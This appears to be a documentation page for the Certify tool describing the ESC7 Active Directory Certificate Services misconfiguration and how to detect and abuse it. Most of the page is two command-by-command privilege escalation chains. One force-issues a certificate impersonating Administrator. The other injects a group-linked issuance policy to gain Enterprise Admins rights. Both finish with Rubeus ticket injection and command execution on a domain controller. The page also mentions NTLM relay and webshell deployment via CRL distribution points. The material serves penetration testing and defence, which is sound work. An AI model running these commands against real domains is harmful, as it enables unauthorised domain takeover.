Skip to main content
ESC7 is a misconfiguration in Active Directory Certificate Services (AD CS), which stems from overly permissive access controls on certificate authorities. Specifically, if a principal has privileged roles on a certificate authority, they can potentially elevate their privileges in the domain.
The severity of this vulnerability depends largely on the delegated security role(s) and certificate authority configuration.

Security Roles

Either of the following security roles comprise an ESC7 vulnerability:
  • The ManageCA role (also called the Administrator role)
    • Allows the principal to manage configurations and settings on the CA.
  • The ManageCertificates role (also called the Officer role)
    • Allows the principal to manage and issue certificates that are pending approval.

Detection

We can search for certificate authorities with excessive role delegations using the enum-cas --filter-vulnerable command from Certify. For more information about the command and its parameters, please refer to the Command Overview page.
Certify.exe enum-cas --filter-vulnerable --hide-admins
As seen in the CA Permissions section, arbitrary principals can have delegated security roles on certificate authorities. The abuse scenario for this vulnerability can vary depending on the delegated security role, but we have detailed some attack scenarios for each role in the following sections.

ManageCA

The Certified Pre-Owned white-paper describes enabling ESC6 as one of the possible ManageCA attack vectors, but there are many other ways to abuse the security role.
  • Enable ESC6 and perform the relevant attack.
    • This can be toggled on/off with: Certify.exe manage-ca --ca <ca> --esc6
  • Enable ESC11 and carry out the relevant attack.
    • This can be toggled on/off with: Certify.exe manage-ca --ca <ca> --esc11
  • Enable ESC16 and carry out the relevant attack.
    • This can be toggled on/off with: Certify.exe manage-ca --ca <ca> --esc16
  • Enable a disabled certificate template that is vulnerable to another escalation technique.
    • These can be enabled/disabled with: Certify.exe manage-ca --ca <ca> --template <template>
  • Issue a certificate request that has failed due to access violation.
    • These can be issued with: Certify.exe manage-ca --ca <ca> --issue-id <request id>
    • This attack requires the ManageCertificates security role.
  • Coerce the CA server to authenticate over NTLM (and relay) via CRL Distribution Points (CDPs).
  • Obtain RCE on the CA server by deploying a webshell via CRL Distribution Points (CDPs).
Enabling ESC6, ESC11 or ESC16 may require a restart, so the easiest way to abuse the ManageCA role is definitely to issue a failed certificate request.
To do this, we need to identify a certificate template for which we do not have enrollment privileges but that has all the attributes required to be vulnerable to another escalation technique. We can search for certificate templates that have all the attributes required for the ESC1 abuse scenario (save for enrollment rights) using the enum-templates --filter-client-auth --filter-supply-subject command from Certify.
Certify.exe enum-templates --filter-client-auth --filter-supply-subject --hide-admins
If we can only identify certificate templates that are disabled (i.e. not published by any certificate authorities), we can simply enable them on an arbitrary certificate authority using the following command:
  • Certify.exe manage-ca --ca <ca> --template <template>
Once we have identified a desirable certificate template, we can request a certificate based on the template from any user, and include a Subject Alternative Name (SAN) for a target user that we want to impersonate (e.g. Administrator). This can be done using the request command from Certify. The SAN can be in either of the formats UserPrincipalName (--upn), DnsName (--dns), or Rfc822Name (--email). For environments where Strong Certificate Mapping is enabled, the security identifier (SID) of the target user must also be supplied with the --sid parameter.
Certify.exe request --ca ca01.corp.local\CORP-CA01-CA --template CustomUser --upn Administrator --sid S-1-5-21-976219687-1556195986-4104514715-500
Once the certificate request has failed, the private key used for the certificate request is printed, and we must save this for later.
We need the ManageCertificates role for the next step. If we do not have the role, we can grant it with the following command:
  • Certify.exe manage-ca --ca <ca> --officer <sid>
With both the ManageCA and the ManageCertificates roles, we can force-issue the certificate request.
Certify.exe manage-ca --ca ca01.corp.local\CORP-CA01-CA --issue-id 1337
Now that the certificate request has been issued, we can go ahead and download the certificate from the CA. This can be done using the request-download command from Certify. We can include the private key from our certificate request to form a fully authenticatable PKCS12 (PFX) certificate.
Certify.exe request-download --ca ca01.corp.local\CORP-CA01-CA --id 1337 --private-key LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KT...
Once we have obtained the certificate, we can authenticate as the target principal by presenting the issued certificate. This can be done using Rubeus with the asktgt command.
Rubeus.exe asktgt /user:Administrator /certificate:MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh... /ptt
Since the /ptt parameter was supplied to Rubeus when requesting the TGT, the ticket has been injected into the Kerberos ticket list, and we should be able to authenticate as the target user and access systems that the target user has access to.
Invoke-Command -ComputerName DC01 -ScriptBlock {whoami}

ManageCertificates

The Certified Pre-Owned white-paper describes approving pending certificates as a possible ManageCertificates attack vector, and as such require a certificate template with the following criteria:
  • The enterprise CA grants enrollment rights to the attacker-controlled user.
    • Otherwise, the user would be unable to request any certificates from the CA.
  • The certificate template grants enrollment rights to the attacker-controlled user.
    • Otherwise, the user would be unable to request certificates based on the specific template.
  • The “manager approval” feature is enabled for the certificate template.
    • Otherwise, the ManageCertificates role would not be able to manage and issue the certificate request.
  • The “authorized signature” feature is disabled for the certificate template.
    • Otherwise, an enrollment agent would need to sign the certificate request on behalf of the requester.
Additionally, in order to perform privilege escalation, the certificate template must match the criteria of another vulnerability:
  • The certificate template defines a client authentication EKU and allows the requester to specify subject details (ESC1).
  • The certificate template defines the Any Purpose (2.5.29.37.0) EKU or Subordinate CA (No EKUs) (ESC2).
  • The certificate template defines the Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) EKU (ESC3).
We can search for certificate templates that require manager approval using the enum-templates --filter-manager-approval command from Certify. For more information about the command and its parameters, please refer to the Command Overview page.
Certify.exe enum-templates --filter-enabled --filter-client-auth --filter-manager-approval --hide-admins
If the above certificate had the ENROLLEE_SUPPLIES_SUBJECT flag in the Certificate Name Flag attribute, it would be possible to perform an ESC1 attack, but with the slight variation of requiring manual manager approval using the ManageCertificates role. This would allow us to bypass the “manager approval has to be disabled” constraint for the ESC1 vulnerability. However, since this is not the case, another solution must be found. Valdemar Carøe and Jonas Bülow Knudsen have recently discovered a new technique inspired by the ESC13 misconfiguration, which requires the existence of a group-linked enterprise OID (issuance policy). The issuance policy does not have to be applied to any certificate template, it just has to exist. We can search for group-linked enterprise OIDs using the enum-pkiobjects --show-linked-oids command from Certify. For more information about the command and its parameters, please refer to the Command Overview page.
Certify.exe enum-pkiobjects --show-linked-oids
Once we have identified a group-linked enterprise OID, we can evaluate if the group is worth compromising. This includes checking what the group is a member of, and what access control permissions the group has across the environment.
Get-ADGroup TemporaryAdmins -Properties MemberOf,Members
Since the TemporaryAdmins group is a member of the Enterprise Admins group, we deem that it is worth compromising, so we request a certificate from the manager approval template using the request command from Certify.
Certify.exe request --ca ca01.corp.local\CORP-CA01-CA --template CustomUser_ManualAuth
Once the certificate request has failed, the private key used for the certificate request is printed, and we must save this for later.
Using the ManageCertificates role, we can now inject the group-linked issuance policy into the pending certificate request using the manage-ca --ca <ca> --issuance-policy <request id>:<policy oid> command from Certify.
Certify.exe manage-ca --ca ca01.corp.local\CORP-CA01-CA --issuance-policy 1337:1.3.6.1.4.1.311.21.8.5416619.5330661.8209312.10827481.9506053.121.1087175.7443011
Once the issuance policy is injected, we can issue (manager-approve) the certificate request.
Certify.exe manage-ca --ca ca01.corp.local\CORP-CA01-CA --issue-id 1337
Now that the certificate request has been issued, we can go ahead and download the certificate from the CA. This can be done using the request-download command from Certify. We can include the private key from our certificate request to form a fully authenticatable PKCS12 (PFX) certificate.
Certify.exe request-download --ca ca01.corp.local\CORP-CA01-CA --id 1337 --private-key LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KT...
Once we have obtained the certificate, we can pass it to Rubeus with the asktgt command using our low-privileged user.
Rubeus.exe asktgt /user:lowpriv /certificate:MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh... /ptt
Since the /ptt parameter was supplied to Rubeus when requesting the TGT, we should now have a ticket in our Kerberos ticket list that contains Enterprise Admins membership. We can verify this by attempting to execute whoami /all on a domain controller.
Invoke-Command -ComputerName DC01 -ScriptBlock { whoami /all }